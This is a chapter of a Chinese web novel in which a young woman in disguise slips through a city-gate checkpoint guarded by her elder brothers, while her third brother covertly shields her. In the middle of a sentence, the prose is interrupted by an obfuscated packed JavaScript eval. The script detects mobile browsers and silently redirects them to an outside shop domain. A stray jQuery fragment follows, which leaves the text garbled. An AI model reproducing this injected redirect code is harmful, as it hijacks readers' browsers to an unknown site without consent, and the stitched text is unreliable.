西城废渡口外,有一间早被人遗忘的渔棚。
棚子四面漏风,顶上压着几块歪斜的木板,雨水顺着缝隙滴下来,在地上砸出一个个小坑。沈见微点亮半截蜡烛,从角落翻出一只木箱。
“你三哥留的?”顾栖灯问。
“应该是。”
箱子里有几件粗布衣裳、一小袋碎银、两张出城路引,还有一包没开封的药粉。
顾栖灯拿起路引。
上头写着一对兄妹的名字:沈阿灯,沈小微。籍贯是临江城外的青溪村,进城卖药材,如今要回乡奔丧。
她盯着“沈阿灯”三个字看了很久。
“他连这个都准备了。”沈见微凑过来,“三公子是不是早知道你会跑?”
“不是。”顾栖灯把路引放回去,“他只是早就准备过让人跑。”
为苏晚,也为那些没能走出顾家的人。
她忽然想起顾长川递出乌木牌时的神情。
他不说“别怕”,不说“我会护着你”,只把能用上的东西一件件摆到她面前:路、钥匙、银钱、去处。
像是他早就明白,有些人最需要的,从来不是一只拽着自己的手,而是一条能自己走出去的路。
“先换衣裳。”沈见微说。
顾栖灯应了一声,低头解开发带。
镜子是渔棚里剩下的一块破铜片,边缘被水汽腐蚀得发黑,映出的人脸也模糊不清。沈见微把药粉调进水里,又从包袱里摸出一小盒油膏。
“这是我从二哥药房顺的。”她说,“能让皮肤发黄,眉眼看着也钝些,但别沾水。”
“你什么时候顺的?”
“你在地宫里问三哥话的时候。”
“你还挺忙。”
“彼此彼此。”
沈见微手很稳。
她先将顾栖灯的眉形压低,又在眼尾添了两点浅褐色,最后用油膏遮住她右腕那枚淡红色灯印。
灯印一被盖住,顾栖灯竟觉得腕上轻了一下。
她抬手按住那里。
昨夜第四盏灯亮起时,血脉里那种灼热的牵引还残留着。仿佛顾家祠堂下的黑棺、棺中那个叫她名字的人、整座临江城里藏着的灯火,都隔着很远的地方,在与她呼应。
“疼吗?”沈见微问。
“没有。”
“那就好。等过了城门,我们先去西霞寺。”
顾栖灯看向木箱最底下。
那里压着一张被雨打湿的纸,边角残缺,纸上写着几行墨迹。正是沈见微从西霞寺带回来的那半页旧账。
她昨夜只来得及看见“沈兰烛”和“灯灭未归”几个字。
如今借着烛火,终于辨认出更多。
永安七年,三月初九。
守灯人沈兰烛,携女出阵。
第四灯失,归门未闭。
后面几行被人撕去了大半,只剩最后一句尚算完整:
——归灯者,非祭品,乃开门之人。
顾栖灯指尖微凉。
“不是祭品。”她低声念。
沈见微坐到她身边:“所以长老那些话都是骗你的?”
“至少他没说全。”
长老说第四盏灯该归位,说她不能入祠,说她是外姓之人,不该碰顾家祖宗留下的规矩。
可账上写的却是“归灯者”。
不是被送进灯里的东西,而是能打开某一道门的人。
顾栖灯抬头,眼底一点点亮起来。
“他们怕的不是我跑。”她说,“他们怕我知道,我不是只能被送回去。”
沈见微怔了怔。
顾栖灯将残页仔细折好,放进贴身的铜灯里。
“先去西霞寺。但不是去找答案。”
“那是去做什么?”
“去找他们不想让我看见的东西。”
天色将明时,城里已经戒严。
顾家四姑娘失踪的消息传得很快。西城门前排起长队,守卫逐个查验路引,城墙上贴着新画的寻人图。
画上的姑娘眉眼清秀,穿着浅青衣裳,右腕隐约有一枚红印。
顾栖灯站在人群最后,隔着晨雾看了片刻。
画像画得很像。
像到她一眼就认出,那是大哥的字。
顾承宴擅丹青。小时候她贪玩躲起来,府里找不到人,他便会画一张极简的画像,叫小厮带着去街上问。画里从来不写“悬赏”,只写“家中小妹走失,见者请送归”。
那时她总觉得,那几笔很温柔。
如今看着墙上的画像,她却第一次觉得呼吸有些发紧。
画像下面同样写着:见者送回顾府,重谢。
没有人知道,她是不是自愿离开。
也没有人问。
“别盯着看。”沈见微压低声音,“你现在是沈阿灯,家里死人,急着出城。记住了?”
顾栖灯点头。
她们跟着队伍慢慢往前挪。
城门下搭着临时木棚,几个顾家护卫守在最前。再往里,顾承宴立在长案旁,玄色大氅上沾了晨露,神情冷得像这场未散的雨。
二哥顾长舟坐在棚中,面前摆着药箱,像是在替受惊的百姓诊脉。
他们都来了。
顾栖灯垂下眼,将肩膀微微缩起,做出常年劳作后畏缩疲惫的样子。她忽然明白,沈见微为什么要把她的眉压低。
顾栖灯从来不会这样低头。
她往前走时,总是习惯先看路,再看人,像是随时准备从谁的话里找出一句不对。
可现在,她必须把自己藏进人群里。
队伍前头,一个抱孩子的妇人被拦下。
守卫翻来覆去查她的包袱,孩子被吓哭,哭声尖利。顾承宴抬手,让人先放她去旁边喝口热水,顾承宴却没有松口,只道:“再查一遍。”
顾栖灯的脚步微顿。
这才是大哥。
他会照顾每个人的冷暖,却绝不会因为一点不忍心,放掉自己认定的风险。
轮到她们时,守卫伸手来拿路引。
“叫什么?”
“沈阿灯。”顾栖灯答。
她的声音比平时低了两分,带一点乡音。
“从哪来?”
“青溪村。”
“进城做什么?”
“卖药材。”
守卫看了一眼她们空荡荡的背篓:“药材呢?”
沈见微立刻红了眼圈,抢着道:“卖完了。我阿兄昨夜病死在城西,我们、我们得赶紧回去报丧……”
她演得极真,眼泪说掉就掉,守卫反而有些尴尬。
可顾承宴已经走了过来。
顾栖灯的心跳慢了一拍。
他停在她面前,目光落在她脸上。
很久。
久到沈见微悄悄攥住了她的袖角。
顾栖灯没有躲。
她知道,大哥最擅长看人。越心虚,越容易被他看出破绽。于是她只保持着一个被盘问过久、想快些离开的普通姑娘应有的烦躁,甚至抬起眼,带一点不耐烦地看了他一下。
顾承宴的眉微微蹙起。
“抬手。”他说。
顾栖灯心口一紧。
她右腕的灯印虽然被遮住,可若凑近了细看,未必看不出异常。
她正要照做,一只手却从后面伸来,先一步压住她的手腕。
“她手上有冻疮。”顾长川的声音在身后响起,“昨夜受了雨,破皮流血,不必看了。”
顾栖灯没有回头。
可
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968831|214618||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她知道是他。
他指腹隔着粗布袖口按在她腕上,恰好挡住那枚灯印的位置。动作很短,像只是替护卫省了一道麻烦。
顾承宴看向顾长川。
“你怎么在这里?”
“西边水道搜过了。”顾长川答,“没有。”
“没有?”顾承宴眸色微沉,“你确定?”
“确定。”
兄弟二人隔着半步距离对视。
顾栖灯站在中间,第一次清楚感觉到,有什么东西已经变了。
从前他们都是顾家人,站在同一边。如今大哥在找她,三哥在替她遮掩;而她戴着一张陌生的脸,连一句解释都不能说。
顾长舟也从棚里走了出来。
他看见顾栖灯时,眼神明显停了一下。
顾栖灯的背脊瞬间绷紧。
二哥懂药。他若闻到油膏里药材的气味,很可能立刻认出来。
果然,顾长舟走近两步,视线落在她脸侧,轻声道:“你用过黄柏膏?”
沈见微差点把路引捏皱。
顾栖灯却抬起脸,故意露出一点被戳穿后的窘迫。
“前几日脸上起疹子,药铺掌柜让我抹的。怎么,城里连这个也不能用?”
顾长舟一怔。
她用的是顾栖灯绝不会对他说的语气。
带刺,不客气,甚至有一点市井里的泼辣。
顾长舟看着她,像是想从那双陌生的眼睛里找出什么。可下一刻,顾长川已经将路引递回给守卫。
“没有问题,放行。”
守卫还没动,顾承宴忽然道:“等等。”
顾栖灯的手心沁出薄汗。
顾承宴往前一步,视线落在她腰侧。
那里挂着一个不起眼的铜灯。
她昨夜没有注意,逃出地宫时竟将它一并带了出来。
“大哥。”顾长川开口。
顾承宴没有理他,只盯着那盏灯:“姑娘,这东西从哪来的?”
顾栖灯脑中飞快转过几个念头。
说捡的,不可信;说家传,路引上无从印证;直接丢下,更像心虚。
她抬手将铜灯摘下,递给顾承宴。
“死人留下的。”
顾承宴动作一顿。
“我阿兄死前攥着它,不肯撒手。”她看着他,一字一句地说,“我也不知道它有什么用。但人都死了,留个东西,总比什么都没有好。”
这半真半假的话,像一根细针。
顾承宴握着铜灯,拇指摩过灯身上被磨得发亮的纹路。他当然认得,这是他十岁那年亲手送给顾栖灯的东西。
可眼前的人不是顾栖灯。
至少看上去不是。
他沉默许久,将铜灯递还给她。
“出城后,别走水路。”
顾栖灯接过灯,低声道:“多谢公子。”
她没有叫他大哥。
顾承宴没有再拦。
守卫掀开木栏。
沈见微拉着她往外走,脚步快得几乎要跑起来。直到彻底越过城门,直到城楼和顾家的护卫被晨雾隔在身后,沈见微才长长吐出一口气。
“吓死我了。”
顾栖灯没说话。
她回头望去。
城门前,顾长川仍站在那里。他没有看她,只背对着她,像是真的还在搜查西城水道。
可风吹过来时,她看见他垂在身侧的手,悄悄比了一个方向。
不是回顾家。
是西霞寺。
顾栖灯握紧铜灯,转身往城外走。
她终于离开了顾家的城门。
可她心里很清楚,这不是逃走。
这是她第一次,带着自己的名字和答案,往真相里走。